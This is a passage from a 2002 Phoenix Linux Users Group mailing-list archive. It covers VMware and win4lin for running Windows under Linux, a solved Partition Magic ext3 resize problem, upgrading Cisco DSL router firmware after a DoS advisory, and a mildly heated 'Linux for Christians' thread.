thing. > > > > George > > > > Mike Porter wrote: > > > Ok, this is intriguing to me. I am looking to migrate my house over to > > > Linux, but I have some apps for which I cannot find comparable *nix > > > substitutes. (Believe it or not, the request to move torward Linux is at > > > my wife's request) > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > offer me your best suggestions as far as which you prefer and which > > > flavor of Linux you believe is most solid with your choice? Also, any > > > gotchas that you can think of would be most helpful. > > > > > > Also, has anyone run into problems with accessing Windows only devices > > > using either of these options? > > > > > > Mike > > > > > > -----Original Message----- > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > Sent: Sunday, May 26, 2002 9:36 PM > > > To: plug-discuss@lists.plug.phoenix.az.us > > > Cc: punkmmiv@cox.net > > > Subject: Re: Windows and Linux > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > Matt wrote: > > > > I know that Windows and Linux are supposed to operate pretty well > > > > together, but the only articles I've read are about installing Linux > > > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > > > was wondering if it's possible to install Windows on it while still > > > > being able to use my current install? > > > > > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > > > environment. Unlike VMWare and friends it is not a VM. Also, unlike > > > WINE it actually works and works well. It will even let windows use > > > (read/write) to your GNU/Linux file systems and such. It is not free, > > > but neither is M$ Windows (so I assume you dont have a problem with > > > that) and it is by far the best way to 'suffer' M$ while not having to > > > 'leave' a real operating system. > > > > > > -Derek > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > UHgqeghEeXKGOxPtBOCylhE= > =GPfW > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:00:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Tue, 11 Jun 2002 06:00:15 -0700 Subject: partition magic Message-ID: <20020611060015.5406195d.snoogans@qwest.net> I am using partition magic and i want to resize my ext2 partition at the end of my 18 gig HD because i want to try out another OS(gentoo) but partition magic thinks my ext2 partition is completely full and therefor wont resize it. Does anyone have any idea why it might think that or how to fix it or if im completely screwed? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:35:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Tue, 11 Jun 2002 06:35:53 -0700 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> Message-ID: <3D05FCB9.1020001@asu.edu> For personal use, the price is ~$120...used to be $99. Rod George Toft wrote: > Hi Nathan, > > The price for vmware is $299. > > George > > > Nathan England wrote: > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>George, >>How much did you pay for vmware? >> >>Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: >> >>>My experience with vmware is very positive. Issues with vmware: >>>- I cannot listen to Internet Radio at kccnfm100.com. Even with four >>>new software >>>downloads, three reboots (virtual), and 2 crashes, all I got was static. >>>- vmware does not do streaming media via USB. Want to use a USB >>>camera? Forget it. >>>- vmware with sound is usually preceeded with a loud pop. >>>- vmware does not support directx very well (if at all). >>> >>>Other than that, it lets me do my taxes, browse using IE 5.5, and gives >>>me blue screens, >>>just like the real thing. >>> >>>George >>> >>>Mike Porter wrote: >>> >>>>Ok, this is intriguing to me. I am looking to migrate my house over to >>>>Linux, but I have some apps for which I cannot find comparable *nix >>>>substitutes. (Believe it or not, the request to move torward Linux is at >>>>my wife's request) >>>> >>>>So, those who have experienced VMware, win4lin, and the like, can you >>>>offer me your best suggestions as far as which you prefer and which >>>>flavor of Linux you believe is most solid with your choice? Also, any >>>>gotchas that you can think of would be most helpful. >>>> >>>>Also, has anyone run into problems with accessing Windows only devices >>>>using either of these options? >>>> >>>>Mike >>>> >>>>-----Original Message----- >>>>From: Derek Neighbors [mailto:derek@gnue.org] >>>>Sent: Sunday, May 26, 2002 9:36 PM >>>>To: plug-discuss@lists.plug.phoenix.az.us >>>>Cc: punkmmiv@cox.net >>>>Subject: Re: Windows and Linux >>>> >>>>On 26 May 2002 22:44:49 -0700 >>>> >>>>Matt wrote: >>>> >>>>>I know that Windows and Linux are supposed to operate pretty well >>>>>together, but the only articles I've read are about installing Linux >>>>>once Windows is already there. I'm running a pure SuSE 8.0 box and I >>>>>was wondering if it's possible to install Windows on it while still >>>>>being able to use my current install? >>>> >>>>Try win4lin. It lets you run windows as a window inside your GNU/Linux >>>>environment. Unlike VMWare and friends it is not a VM. Also, unlike >>>>WINE it actually works and works well. It will even let windows use >>>>(read/write) to your GNU/Linux file systems and such. It is not free, >>>>but neither is M$ Windows (so I assume you dont have a problem with >>>>that) and it is by far the best way to 'suffer' M$ while not having to >>>>'leave' a real operating system. >>>> >>>>-Derek >>>>________________________________________________ >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>>post to the list quickly and you use Netscape to write mail. >>>> >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>>>________________________________________________ >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>>post to the list quickly and you use Netscape to write mail. >>>> >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.7 (GNU/Linux) >> >>iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr >>UHgqeghEeXKGOxPtBOCylhE= >>=GPfW >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:39:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Tue, 11 Jun 2002 06:39:11 -0700 (MST) Subject: ride sharing for the InstallFest In-Reply-To: Message-ID: Friends, The Scottsdale Community College is served by Valley Metro bus routes #50 Camelback #84 Granite Reef #76 Miller These routes operate every half-hour, all day every day until about 7pm. Fare is $1.25 with free transfers. On-line bus routes and schedules: http://www.valleymetro.org \\/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:46:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Tue, 11 Jun 2002 06:46:04 -0700 Subject: [SOLVED] partition magic In-Reply-To: <20020611060015.5406195d.snoogans@qwest.net> References: <20020611060015.5406195d.snoogans@qwest.net> Message-ID: <20020611064604.48424e67.snoogans@qwest.net> Well turns out partition magic doesn't like ext3 very much, i downgraded back to ext2 so i could resize my partition and it worked just fine, and i am a big fan of partition magic now too :) Just thought i would let everyone know how i fixed it. On Tue, 11 Jun 2002 06:00:15 -0700 "robert jorgenson" wrote: > I am using partition magic and i want to resize my ext2 partition at the end of my 18 gig HD because i want to try out another OS(gentoo) but partition magic thinks my ext2 partition is completely full and therefor wont resize it. Does anyone have any idea why it might think that or how to fix it or if im completely screwed? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:14:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 07:14:25 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> At least it isn't cox -----Original Message----- From: Mike Butash [mailto:mike@butash.net] Sent: Monday, June 10, 2002 8:21 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Cisco DoS required CBOS upgrade- Qwest complaint It's qworst, you expect anything more? http://www.cisco.com/warp/public/794/675_faq.shtml Zmodem transfers are rather painful, I'd say look into the password recovery steps (if you don't know your pw) listed on that page and tftp it. Set the eth0 ip as it says, enable tftp on the router, and "man tftp". http://nutsac.org/stuff/c675.2.4.5.bin -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Eric Richardson Sent: Monday, June 10, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Cisco DoS required CBOS upgrade- Qwest complaint Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:20:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:20:15 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> <3D056901.3060507@earthlink.net> <20020611055205.GA5358@neo.visicomp.com> Message-ID: <3D06071F.7000807@ttiltd.com> Isaac Sparrow wrote: >Can I be second in command? > >VIM rocks! > > Sure No prob. What would be cult without followers anyway? Greg From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:24:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:24:41 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> Message-ID: <3D060829.8090904@ttiltd.com> I guess, whatever makes you happy and propagates linux. Although I think technology should be neutral and not associated with any particular religion. There is enough of flame wars going on out there without mixing the religions ones. RedHat vs. Debian Vim vs. Emacs KDE vs. Gnome you name it.... Now if we start mixing religion to it...... some may start screaming: "Microsoft take me away!" p.s. you will never here that from me tho. Greg Kurt Granroth wrote: >On Monday 10 June 2002 08:01 pm, Greg Furmanek wrote: > > >>You right I should probably get some of heathens like myslef and creat >>our own distro. >> >>I wonder what should I name it? and how many people will I piss of with >>this one. >> >> >>>>>Looking for something else on Google I stumbled on to The Linux for >>>>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: >>>>> >>>>> > >Y'know, for all the jokes that have been made about this, it appears to be a >serious and useful (if that's what you are looking for) site. I think too >many people here are viewing this as another Jesux (which I thought then >and still think now is/was a hoax). Jesux was an over-the-top parody of >the old "Unix for the Politically Correct" ("man" becomes "person", and so >on) using Christian instead of PC. What *this* site is is yet another >Special Interests Group with links to software related to their interest. >It's no different, really, than an animal lover offering links to >screensavers, wallpapers, pet interaction programs, and the like. Or any >low-budget advocacy group sharing info on using Linux to advance the cause. > >I actually did something a *little* similar not that long ago with my own >church in an attempt to get people to interact more online. I had some >tutorials and the like written up on how to use Linux and ogg vorbis (and >was getting into icecast) to allow church members spread around the country >and the world to still stay in touch. Hmm.. although in my case, midway >through my work, I was told by the Church Board that I was to cease and >desist any and all work I was doing since the Internet was evil (no joke) >and they thought people should spend less time online, not more. Ah well. > >Okay, got a little sidetracked... :-) > >My point is that while that site's content may not appeal to all people, >it's far from a joke. I just hope they have more luck than I had. > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:35:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:35:18 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> Message-ID: <3D060AA6.3010503@ttiltd.com> Heeeeeey....!!!! Put the cat down and step away from the keyboard! haha, just joking Internet is evil? Damn! sometimes I still feel like I am living in dark ages. When do these morons realize that technology is never good or bad! It is neutral and only what you do with it is good or bad! For what it's worth I could probably use some Christian distro and host pron on it. (LOL) How does this sound to you all? Whould that constitute blasphemy? Greg Voltage Spike wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > >>What *this* site is is yet another Special Interests Group with links >>to software related to their interest. It's no different, really, >>than an animal lover offering links to screensavers, wallpapers, pet >>interaction programs, and the like. Or any low-budget advocacy group >>sharing info on using Linux to advance the cause. >> >> > >Don't worry. We'd laugh at the cat lovers as well. No harm >intended. ;-) > > > >>I actually did something a *little* similar not that long ago with my >>own church in an attempt to get people to interact more online. I had >>some tutorials and the like written up on how to use Linux and ogg >>vorbis (and was getting into icecast) to allow church members spread >>around the country and the world to still stay in touch. >>Hmm.. although in my case, midway through my work, I was told by the >>Church Board that I was to cease and desist any and all work I was >>doing since the Internet was evil (no joke) and they thought people >>should spend less time online, not more. Ah well. >> >> > >"Evil"? I think I hear the words of an individual with little >experience. They need to keep in mind that the first amendment doesn't >just apply to them. > >In the case of spending more time offline, that is certainly a common >thread among society. However, if the religious leader of choice can >spend a couple of hours a day talking to people, then they should >respect my right to do the same. > >Your project sounds like it is dying to be placed on the PLUG website, >though. :-) > >- -- > Voltage Spike > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >+nl5JW8PnnIFGzFr+PUmJrs= >=xg3K >-----END PGP SIGNATURE----- > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:46:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 07:46:35 -0700 Subject: Linux for Christians Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B46B@mail.int.fh.org> In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". -----Original Message----- From: Greg [mailto:greg@ttiltd.com] Sent: Tuesday, June 11, 2002 7:35 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Linux for Christians Heeeeeey....!!!! Put the cat down and step away from the keyboard! haha, just joking Internet is evil? Damn! sometimes I still feel like I am living in dark ages. When do these morons realize that technology is never good or bad! It is neutral and only what you do with it is good or bad! For what it's worth I could probably use some Christian distro and host pron on it. (LOL) How does this sound to you all? Whould that constitute blasphemy? Greg Voltage Spike wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > >>What *this* site is is yet another Special Interests Group with links >>to software related to their interest. It's no different, really, >>than an animal lover offering links to screensavers, wallpapers, pet >>interaction programs, and the like. Or any low-budget advocacy group >>sharing info on using Linux to advance the cause. >> >> > >Don't worry. We'd laugh at the cat lovers as well. No harm >intended. ;-) > > > >>I actually did something a *little* similar not that long ago with my >>own church in an attempt to get people to interact more online. I had >>some tutorials and the like written up on how to use Linux and ogg >>vorbis (and was getting into icecast) to allow church members spread >>around the country and the world to still stay in touch. >>Hmm.. although in my case, midway through my work, I was told by the >>Church Board that I was to cease and desist any and all work I was >>doing since the Internet was evil (no joke) and they thought people >>should spend less time online, not more. Ah well. >> >> > >"Evil"? I think I hear the words of an individual with little >experience. They need to keep in mind that the first amendment doesn't >just apply to them. > >In the case of spending more time offline, that is certainly a common >thread among society. However, if the religious leader of choice can >spend a couple of hours a day talking to people, then they should >respect my right to do the same. > >Your project sounds like it is dying to be placed on the PLUG website, >though. :-) > >- -- > Voltage Spike > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >+nl5JW8PnnIFGzFr+PUmJrs= >=xg3K >-----END PGP SIGNATURE----- > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:56:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 07:56:42 -0700 Subject: Linux for Christians References: <4A8DFDA6B395D411A11B00508BEE23FE76B46B@mail.int.fh.org> Message-ID: <3D060FAA.7090507@ttiltd.com> It was not ment to be blanket accusation. It was directed only to the close minded ones that blame technology instead the people who are responsible. Greg Tom Achtenberg wrote: >In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:35 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >Heeeeeey....!!!! > >Put the cat down and step away from the keyboard! >haha, just joking > >Internet is evil? >Damn! sometimes I still feel like I am living in dark ages. >When do these morons realize that technology is never good or bad! >It is neutral and only what you do with it is good or bad! > >For what it's worth I could probably use some Christian distro and host >pron on it. (LOL) >How does this sound to you all? Whould that constitute blasphemy? > >Greg > > >Voltage Spike wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> >> >> >> >>>What *this* site is is yet another Special Interests Group with links >>>to software related to their interest. It's no different, really, >>>than an animal lover offering links to screensavers, wallpapers, pet >>>interaction programs, and the like. Or any low-budget advocacy group >>>sharing info on using Linux to advance the cause. >>> >>> >>> >>> >>Don't worry. We'd laugh at the cat lovers as well. No harm >>intended. ;-) >> >> >> >> >> >>>I actually did something a *little* similar not that long ago with my >>>own church in an attempt to get people to interact more online. I had >>>some tutorials and the like written up on how to use Linux and ogg >>>vorbis (and was getting into icecast) to allow church members spread >>>around the country and the world to still stay in touch. >>>Hmm.. although in my case, midway through my work, I was told by the >>>Church Board that I was to cease and desist any and all work I was >>>doing since the Internet was evil (no joke) and they thought people >>>should spend less time online, not more. Ah well. >>> >>> >>> >>> >>"Evil"? I think I hear the words of an individual with little >>experience. They need to keep in mind that the first amendment doesn't >>just apply to them. >> >>In the case of spending more time offline, that is certainly a common >>thread among society. However, if the religious leader of choice can >>spend a couple of hours a day talking to people, then they should >>respect my right to do the same. >> >>Your project sounds like it is dying to be placed on the PLUG website, >>though. :-) >> >>- -- >> Voltage Spike >> ,,, >> (. .) >>- --ooO-(_)-Ooo-- >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.6 (GNU/Linux) >>Comment: For info see http://www.gnupg.org >> >>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>+nl5JW8PnnIFGzFr+PUmJrs= >>=xg3K >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 20:15:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Mon, 10 Jun 2002 13:15:02 -0700 Subject: Linux for Christians In-Reply-To: <3D060AA6.3010503@ttiltd.com> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> Message-ID: <20020610201502.GA182@crystaldragon> /------------------\ | PLEASE | | DO | | NOT | | FEED | | THE | | TROLLS | \------------------/ | | | | | | @ _\|/_____|__|______\__ On Tue, Jun 11, 2002 at 07:35:18AM -0700, Greg wrote: > Heeeeeey....!!!! > > Put the cat down and step away from the keyboard! > haha, just joking > > Internet is evil? > Damn! sometimes I still feel like I am living in dark ages. > When do these morons realize that technology is never good or bad! > It is neutral and only what you do with it is good or bad! > > For what it's worth I could probably use some Christian distro and host > pron on it. (LOL) > How does this sound to you all? Whould that constitute blasphemy? > > Greg > > > Voltage Spike wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > > > > >>What *this* site is is yet another Special Interests Group with links > >>to software related to their interest. It's no different, really, > >>than an animal lover offering links to screensavers, wallpapers, pet > >>interaction programs, and the like. Or any low-budget advocacy group > >>sharing info on using Linux to advance the cause. > >> > >> > > > >Don't worry. We'd laugh at the cat lovers as well. No harm > >intended. ;-) > > > > > > > >>I actually did something a *little* similar not that long ago with my > >>own church in an attempt to get people to interact more online. I had > >>some tutorials and the like written up on how to use Linux and ogg > >>vorbis (and was getting into icecast) to allow church members spread > >>around the country and the world to still stay in touch. > >>Hmm.. although in my case, midway through my work, I was told by the > >>Church Board that I was to cease and desist any and all work I was > >>doing since the Internet was evil (no joke) and they thought people > >>should spend less time online, not more. Ah well. > >> > >> > > > >"Evil"? I think I hear the words of an individual with little > >experience. They need to keep in mind that the first amendment doesn't > >just apply to them. > > > >In the case of spending more time offline, that is certainly a common > >thread among society. However, if the religious leader of choice can > >spend a couple of hours a day talking to people, then they should > >respect my right to do the same. > > > >Your project sounds like it is dying to be placed on the PLUG website, > >though. :-) > > > >- -- > > Voltage Spike > > ,,, > > (. .) > >- --ooO-(_)-Ooo-- > >-----BEGIN PGP SIGNATURE----- > >Version: GnuPG v1.0.6 (GNU/Linux) > >Comment: For info see http://www.gnupg.org > > > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN > >+nl5JW8PnnIFGzFr+PUmJrs= > >=xg3K > >-----END PGP SIGNATURE----- > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:27:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 08:27:56 -0700 Subject: Linux for Christians Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B46C@mail.int.fh.org> There are lots of closed minded non Christians who feel the internet is evil too. We need to educate them all. I agree, technology itself is not good or bad, it is how it is used and the users need to take personal responsibility as to how they use it within their own beliefs. -----Original Message----- From: Greg [mailto:greg@ttiltd.com] Sent: Tuesday, June 11, 2002 7:57 AM To: 